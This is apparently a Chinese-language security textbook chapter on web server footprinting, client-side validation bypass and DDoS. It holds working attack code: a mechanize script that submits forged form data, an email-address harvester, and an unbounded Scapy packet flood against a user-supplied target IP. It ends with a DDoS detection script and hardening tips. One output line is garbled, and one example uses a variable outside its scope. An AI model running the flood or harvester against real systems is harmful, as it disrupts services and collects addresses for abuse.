網頁伺服器與應用程式安全分析是網路安全的重要環節。透過足跡追蹤,可以取得伺服器資訊,例如作業系統、網頁伺服器版本、程式語言等,這些資訊有助於評估潛在的漏洞。文章首先介紹如何透過伺服器簽名辨識伺服器型別和版本,接著說明如何解析 HTTP 標頭以取得更多細節,例如內容型別、編碼等。此外,文章也示範如何使用 Python 的 lxml 函式庫解析 HTML 內容,提取網頁中的超連結、電子郵件地址等資訊。最後,文章介紹了 Banner Grabbing 技術,用於取得網站的 HTTP Banner,進而推斷伺服器的作業系統型別。
在使用者端驗證方面,文章指出使用者端驗證的安全性不足,容易被繞過。透過 Python 的 mechanize 函式庫,可以模擬瀏覽器行為,修改表單資料並繞過使用者端驗證,直接提交到伺服器。這突顯了伺服器端驗證的重要性。此外,文章也介紹了 DDoS 攻擊的原理,並使用 Python 的 scapy 函式庫示範如何發動單一 IP、單一埠的 DDoS 攻擊。最後,文章提供了一個 Python 程式碼範例,用於檢測 DDoS 攻擊,透過監控網路流量和分析來源 IP 的請求數量,及時發現異常行為並發出警示。
網頁伺服器與網頁應用程式的足跡追蹤 Chapter 7
在第二個輸出中,我們提供了本地機器的 IP 位址,即 192.168.0.5。程式揭露了一些秘密資訊,例如網頁軟體是 Apache 2.2.3,它執行在 Red Hat 機器上,並且使用 PHP 5.1 進行網頁應用程式開發。這樣,我們就可以獲得有關作業系統、網頁伺服器軟體和網頁應用程式的資訊。
當伺服器簽名關閉時的輸出
現在,讓我們看看當伺服器簽名關閉時會得到什麼輸出:
9JGPVJGUGTXGTUKIPCVWTGKUQc
從前面的輸出中,我們可以看到 Apache 正在執行。但是,它既沒有顯示版本,也沒有顯示作業系統。對於網頁應用程式開發,已經使用了 PHP,但有時輸出並不顯示程式語言。為此,您必須解析網頁以取得任何有用的資訊,例如超連結。
取得標頭的詳細資訊
如果您想取得有關標頭的詳細資訊,請開啟標頭的目錄,如下所示的程式碼:
>>> import urllib
>>> http_r = urllib.urlopen("http://192.168.0.5/")
>>> dir(http_r.headers)
['__contains__', '__delitem__', '__doc__', '__getitem__', '__init__',
'__iter__', '__len__',
'__module__', '__setitem__', '__str__', 'addcontinue', 'addheader',
'dict', 'encodingheader', 'fp',
'get', 'getaddr', 'getaddrlist', 'getallmatchingheaders', 'getdate',
'getdate_tz', 'getencoding',
'getfirstmatchingheader', 'getheader', 'getheaders', 'getmaintype',
'getparam', 'getparamnames',
'getplist', 'getrawheader', 'getsubtype', 'gettype', 'has_key',
'headers', 'iscomment', 'isheader',
'islast', 'items', 'keys', 'maintype', 'parseplist', 'parsetype',
'plist', 'plisttext', 'readheaders',
'rewindbody', 'seekable', 'setdefault', 'startofbody', 'startofheaders',
'status', 'subtype', 'type',
'typeheader', 'unixfrom', 'values']
>>>
>>> http_r.headers.type
'text/html'
>>> http_r.headers.typeheader
'text/html; charset=UTF-8'
>>>
內容解密:
urllib.urlopen("http://192.168.0.5/")開啟指定的 URL,並傳回一個類別似檔案的物件,用於讀取伺服器的回應。dir(http_r.headers)列出http_r.headers物件的所有屬性和方法,提供了豐富的資訊來瞭解 HTTP 回應的標頭。http_r.headers.type和http_r.headers.typeheader分別傳回 HTTP 回應的內容型別和完整的內容型別標頭。
從 whois.domaintools.com 取得網站資訊
考慮到您想要從網頁中收集所有超連結。在本文中,我們將透過程式設計來實作這一點。另一方面,這也可以透過手動檢視網頁原始碼來完成。然而,這將需要一些時間。
讓我們來認識一個非常漂亮的解析器,稱為 lxml。
程式碼範例
from lxml import html
import requests
domain = raw_input("Enter the domain: ")
url = "http://whois.domaintools.com/" + domain
user_agent = "Mozilla/5.0"
headers = {'User-Agent': user_agent}
resp = requests.get(url, headers=headers)
html = resp.text
tree = html.fromstring(html)
ip = tree.xpath("//table//tr//td/text()")
list2 = []
for each in ip:
each = each.strip()
if each != "":
list2.append(each.strip())
print(list2)
內容解密:
- 使用
requests函式庫傳送 HTTP 請求到指定的 URL,並使用自定義的User-Agent標頭模擬瀏覽器行為。 - 使用
lxml.html.fromstring解析 HTML 文字內容,構建一個可查詢的 HTML 檔案樹。 - 使用 XPath 表示式
//table//tr//td/text()提取表格中的文字內容。 - 清洗提取的資料,去除空白字元和空字串。
從網頁中收集電子郵件地址
在本文中,我們將學習如何從網頁中找到電子郵件地址。為了找到電子郵件地址,我們將使用正規表示式。方法非常簡單:首先,從給定的網頁取得所有資料,然後使用電子郵件正規表示式取得電子郵件地址。
程式碼範例
import urllib2
import re
url = raw_input("Enter the URL: ")
html = urllib2.urlopen(url)
html_page = html.read()
email_pattern = re.compile(r"[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+")
emails = email_pattern.findall(html_page)
for match in emails:
print(match)
內容解密:
- 使用
urllib2.urlopen開啟指定的 URL,並讀取網頁內容。 - 定義一個正規表示式模式,用於匹配常見的電子郵件地址格式。
- 使用
re.compile編譯正規表示式,提高匹配效率。 - 使用
findall方法在網頁內容中查詢所有匹配的電子郵件地址。
網站的 Banner Grabbing
在本文中,我們將抓取網站的 HTTP Banner。Banner Grabbing 或作業系統指紋識別是一種確定目標網頁伺服器上執行著哪種作業系統的方法。在下面的程式中,我們將嗅探電腦上網站的封包,就像我們在第 5 章《嗅探和滲透測試》中所做的那樣。
程式碼範例
import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
while True:
pkt = s.recvfrom(2048)
banner = pkt[0][54:60]
print(banner)
print("##")
內容解密:
- 使用
socket.socket建立一個原始通訊端,用於捕捉網路封包。 - 在無限迴圈中接收封包,並提取特定範圍內的位元組(假設為 Banner 資訊)。
- 列印提取的 Banner 資訊。
本章節介紹了多種技術,用於收集有關網頁伺服器和網頁應用程式的資訊,包括解析 HTTP 標頭、使用 lxml 解析 HTML、提取電子郵件地址以及進行 Banner Grabbing。這些技術對於網路安全評估和滲透測試具有重要意義。
加強 Web 伺服器安全性與使用者端驗證的重要性
在前一章中,我們學習瞭如何解析網頁以及如何從 HTML 網頁中擷取特定資訊。在本章中,我們將討論以下主題:網頁中的驗證、驗證型別、驗證的滲透測試、DoS 攻擊、DDoS 攻擊以及 DDoS 的偵測。
使用者端驗證簡介
當您在網頁瀏覽器中開啟一個網頁表單、填寫表單並提交時,一些欄位可能會有限制,例如使用者名稱應該是唯一的,密碼應該大於八個字元,且這些欄位不應為空。為此,使用了兩種型別的驗證:使用者端驗證和伺服器端驗證。像 PHP 和 ASP.NET 這樣的語言使用伺服器端驗證,將輸入引數與伺服器的資料函式庫進行匹配。
使用者端驗證的優缺點
使用者端驗證使用 JavaScript,在使用者端進行驗證。快速回應和易於實作使得使用者端驗證在一定程度上是有益的。然而,使用者端驗證的頻繁使用給攻擊者提供了容易攻擊的機會;伺服器端驗證比使用者端驗證更安全。普通使用者可以看到網頁瀏覽器上發生了什麼,但駭客可以看到在網頁瀏覽器以外可以做什麼。
使用 Python 篡改使用者端引數
HTTP 協定中最常用的兩種方法 POST 和 GET 用於傳遞引數。如果網站使用 GET 方法,其傳遞引數顯示在 URL 中,您可以更改此引數並將其傳遞給 Web 伺服器;這與 POST 方法相反,POST 方法中的引數不顯示在 URL 中。
程式碼範例
<html>
<body>
<form name="sample" action="submit.php" method="POST">
<table cellpadding="5" cellspacing="5" border="1">
<tr>
<td> Enter your name </td>
<td> <input type="text" name="name"> </td>
</tr>
<tr>
<td> Enter your comment </td>
<td> <textarea name="comment" rows="10" cols="60"> </textarea> </td>
</tr>
<tr valign="top">
<td align="left"> </td>
<td> <input type="submit" value="Submit"> </td>
</tr>
</table>
</form>
</body>
</html>
import requests
def validateForm():
formObj = {'name': 'Your Name', 'comment': 'Your Comment'}
if len(formObj['name']) > 5:
return False
if len(formObj['comment']) > 10:
return False
return True
if validateForm():
r = requests.post('http://example.com/submit.php', data=formObj)
print(r.text)
else:
print("Validation failed")
內容解密:
- HTML 表單:這段 HTML 程式碼建立了一個簡單的表單,用於輸入姓名和評論,並使用 POST 方法將資料提交到
submit.php。 - Python 指令碼:這段 Python 程式碼使用
requests函式庫模擬了一個表單提交。它首先定義了一個validateForm函式來驗證表單資料,如果驗證透過,則使用 POST 方法將資料提交到指定的 URL。 - 表單驗證:在
validateForm函式中,它檢查了name和comment欄位的長度。如果任一欄位的長度超過了指定的限制,則傳回False,否則傳回True。 - requests.post:如果
validateForm傳回True,則使用requests.post方法將表單資料提交到指定的 URL,並列印預出伺服器的回應。
加強 Web 伺服器安全性
在本文中,我們將討論一些常見的 Web 伺服器安全錯誤,並提供一些加強 Web 伺服器安全性的建議:
- 隱藏伺服器簽名:始終隱藏您的伺服器簽名。如果可能,設定一個假的伺服器簽名以誤導攻擊者。
- 錯誤處理:正確處理錯誤。如果可能,使用虛擬環境(jailing)來執行應用程式。
- 隱藏程式語言頁面副檔名:嘗試隱藏程式語言頁面副檔名,因為這將使攻擊者難以確定 Web 應用程式的程式語言。
- 更新 Web 伺服器:使用供應商提供的最新補丁更新 Web 伺服器。這避免了任何對 Web 伺服器的已知漏洞的利用。
- 關閉不必要的埠:關閉除 80 和 443 以外的所有埠。
- 限制活躍使用者數量:設定活躍使用者數量的限制,以防止 DDoS 攻擊。
- 啟用防火牆:在 Web 伺服器上啟用防火牆。防火牆可以做很多事情,例如關閉埠和過濾流量。
用Python進行使用者端驗證繞過與DDoS攻擊探討
使用者端驗證繞過
在現代網頁應用程式中,使用者端驗證是一種常見的技術,用於在使用者提交表單前檢查輸入資料的正確性。然而,這種驗證方式存在安全風險,因為攻擊者可以輕易地繞過這些驗證。
使用mechanize進行驗證繞過
以下是一個使用Python的mechanize模組來繞過使用者端驗證的例子:
import mechanize
# 建立一個mechanize瀏覽器物件
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(True)
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
# 開啟目標網址
url = raw_input("Enter URL: ")
br.open(url)
# 印出網頁中的表單
print br.forms()
# 選擇第一個表單並填寫資料
br.select_form(nr=0)
br.form['name'] = 'HACKER'
br.form['comment'] = ''
# 提交表單
br.submit()
程式碼解密:
import mechanize: 匯入mechanize模組,這是一個用於自動化網頁瀏覽的Python函式庫。br = mechanize.Browser(): 建立一個mechanize瀏覽器物件,用於模擬瀏覽器行為。br.set_handle_robots(False): 忽略robots.txt的限制,允許存取被禁止的頁面。br.open(url): 開啟指定的網址。br.select_form(nr=0): 選擇網頁中的第一個表單。br.form['name'] = 'HACKER': 將name欄位的值設為’HACKER’,繞過了使用者端驗證。br.submit(): 提交表單,將資料送到伺服器端。
使用者端驗證對商業的影響
使用者端驗證如果被繞過,可能會對電子商務網站造成重大影響。例如,攻擊者可以透過修改價格引數來購買商品,從而造成經濟損失。
DDoS攻擊介紹
DDoS(分散式阻斷服務)攻擊是一種惡意的網路攻擊,旨在使目標系統或網路資源無法被正常使用。攻擊者透過控制大量電腦或裝置,向目標系統傳送大量的請求,耗盡其資源。
單一IP、單一埠的DDoS攻擊
以下是使用Scapy進行單一IP、單一埠DDoS攻擊的例子:
from scapy.all import *
# 輸入來源IP、目標IP和來源埠
src = raw_input("Enter the Source IP: ")
target = raw_input("Enter the Target IP: ")
srcport = int(raw_input("Enter the Source Port: "))
# 建構IP和TCP封包
IP1 = IP(src=src, dst=target)
TCP1 = TCP(sport=srcport, dport=80)
# 傳送封包
i = 1
while True:
IP1 = IP(src=src, dst=target)
TCP1 = TCP(sport=srcport, dport=80)
pkt = IP1 / TCP1
send(pkt, inter=.001, count=100)
i = i + 1
程式碼解密:
from scapy.all import *: 匯入Scapy的所有功能,Scapy是一個強大的封包處理工具。src = raw_input("Enter the Source IP: "): 輸入來源IP位址。IP1 = IP(src=src, dst=target): 建構IP封包,指定來源和目標IP。TCP1 = TCP(sport=srcport, dport=80): 建構TCP封包,指定來源埠和目標埠(這裡是HTTP的80埠)。pkt = IP1 / TCP1: 將IP和TCP封包組合起來。send(pkt, inter=.001, count=100): 傳送封包,每隔0.001秒傳送100個封包。
用Python進行DDoS攻擊檢測
在進行網路安全研究時,瞭解DDoS(分散式阻斷服務)攻擊的檢測與防禦機制是至關重要的。本篇文章將探討如何使用Python來檢測DDoS攻擊。
簡介
DDoS攻擊是一種透過大量請求使目標伺服器或網路資源過載的攻擊方式,進而導致合法使用者無法正常存取服務。檢測DDoS攻擊通常涉及分析網路流量,識別異常模式。
檢測DDoS攻擊的基本思路
- 收集網路流量資料:透過嗅探器(如Wireshark或使用Python的
scapy函式庫)收集網路封包。 - 分析來源IP:統計來自不同IP的請求數量。
- 設定閾值:當某個IP的請求數量超過預設閾值時,視為可能的DDoS攻擊。
使用Python檢測DDoS攻擊
以下是一個簡單的Python程式碼範例,用於檢測DDoS攻擊:
import scapy.all as scapy
import time
# 設定日誌檔案
LOG_FILE = "ddos_log.txt"
# 設定閾值
THRESHOLD = 10
THRESHOLD2 = THRESHOLD * 2
# 初始化字典儲存IP計數
ip_count = {}
def packet_callback(packet):
# 取得來源IP
src_ip = packet[scapy.IP].src
# 更新IP計數
if src_ip in ip_count:
ip_count[src_ip] += 1
else:
ip_count[src_ip] = 1
# 檢查是否超過閾值
if ip_count[src_ip] > THRESHOLD and ip_count[src_ip] < THRESHOLD2:
with open(LOG_FILE, "a") as log_file:
log_file.write(f"Possible DDoS attack detected from {src_ip}\n")
print(f"Possible DDoS attack detected from {src_ip}")
elif ip_count[src_ip] >= THRESHOLD2:
with open(LOG_FILE, "a") as log_file:
log_file.write(f"DDoS attack confirmed from {src_ip}\n")
print(f"DDoS attack confirmed from {src_ip}")
# 開啟嗅探
print("Starting sniffing...")
scapy.sniff(prn=packet_callback, store=False)
內容解密:
import scapy.all as scapy:匯入scapy函式庫,用於網路封包的捕捉和分析。LOG_FILE和THRESHOLD變數:設定日誌檔案路徑和檢測DDoS的閾值。packet_callback函式:對每個捕捉的封包進行處理,更新來源IP的計數,並檢查是否超過閾值。如果超過,則記錄到日誌檔案並輸出警告資訊。scapy.sniff:開始網路封包的嗅探,將每個封包傳遞給packet_callback函式處理。